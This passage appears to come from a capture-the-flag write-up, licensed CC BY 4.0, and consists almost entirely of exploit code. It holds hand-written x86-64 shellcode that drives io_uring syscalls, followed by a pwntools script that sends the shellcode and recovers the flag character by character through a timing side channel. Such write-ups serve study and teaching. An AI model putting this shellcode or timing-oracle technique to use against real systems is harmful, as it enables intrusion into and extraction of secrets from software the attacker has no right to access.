    mov    rax, QWORD PTR [rbp-0xf8]
    cmp    rax, QWORD PTR [rbp-0x88]
    jb     guess_correct

    mov    rax, QWORD PTR [rbp-0x100]

    /* prepare write */
write_host:
    mov    rdi, qword ptr [rbp-0xa8]
    xor    eax, eax
    mov    rcx, 0x40
    rep    stosb

    mov    rax, QWORD PTR [rbp-0xa8]
    mov    BYTE PTR [rax], 0x17
    mov    rax, QWORD PTR [rbp-0xa8]
    mov    DWORD PTR [rax+0x4], 0x1
    lea    rdx, [rsp+0x20]
    mov    rax, QWORD PTR [rbp-0xa8]
    mov    QWORD PTR [rax+0x10], rdx
    mov    rax, QWORD PTR [rbp-0xa8]
    mov    DWORD PTR [rax+0x18], 0x100
    mov    rax, QWORD PTR [rbp-0xa8]
    mov    QWORD PTR [rax+0x8], 0xffffffffffffffff
    mov    rax, QWORD PTR [rbp-0xa8]
    mov    QWORD PTR [rax+0x20], 0x5555

    mov    rax, QWORD PTR [rbp-0xe0]
    mov    eax, DWORD PTR [rax]
    mov    DWORD PTR [rbp-0x118], eax
    mov    rax, QWORD PTR [rbp-0xd8]
    mov    eax, DWORD PTR [rax]
    and    eax, DWORD PTR [rbp-0x118]
    mov    eax, eax
    lea    rdx, [rax*4+0x0]
    mov    rax, QWORD PTR [rbp-0xd0]
    add    rax, rdx
    mov    DWORD PTR [rax], 0x0
    lock   or QWORD PTR [rsp], 0x0
    mov    eax, DWORD PTR [rbp-0x118]
    lea    edx, [rax+0x1]
    mov    rax, QWORD PTR [rbp-0xe0]
    mov    DWORD PTR [rax], edx

    /* syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) */
    mov    edi, 0x2
    mov    rsi, 0x1
    mov    rdx, 0x1
    mov    r10, 0x1
    xor    r8, r8
    xor    r9, r9
    mov    eax, 426
    call   r15

    /*   uint32_t head = *cq_head; */
    mov    rax, QWORD PTR [rbp-0xc8]
    mov    eax, DWORD PTR [rax]
    mov    DWORD PTR [rbp-0x114], eax
    nop
loop4:
    /* while (head == *cq_tail) */
    mov    rax, QWORD PTR [rbp-0xc0]
    mov    eax, DWORD PTR [rax]
    cmp    DWORD PTR [rbp-0x114], eax
    je     loop4

    lock   or QWORD PTR [rsp], 0x0
    mov    eax, DWORD PTR [rbp-0x114]
    lea    edx, [rax+0x1]
    mov    rax, QWORD PTR [rbp-0xc8]
    mov    DWORD PTR [rax], edx
    jmp    guess_loop
    """
    return sc


pause()
send_shellcode(asm(craft_shellcode()))

charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'

flag = ''
while True:
    idx = len(flag)
    for c in charset:
        start = time.perf_counter()
        #log.info(f"{idx}, {c}")
        send_cmd(p64(idx) + c.encode())
        r.recvuntil(b'cmd')
        end = time.perf_counter()
        elapsed = end - start
        print(f"{idx}, {c} take {elapsed} seconds")
        if elapsed > 1:
            flag += c
            print(flag)
            break
    else:
        print(flag)
        print('adios')
        break

r.interactive()

flag

This post is licensed under CC BY 4.0 by the author.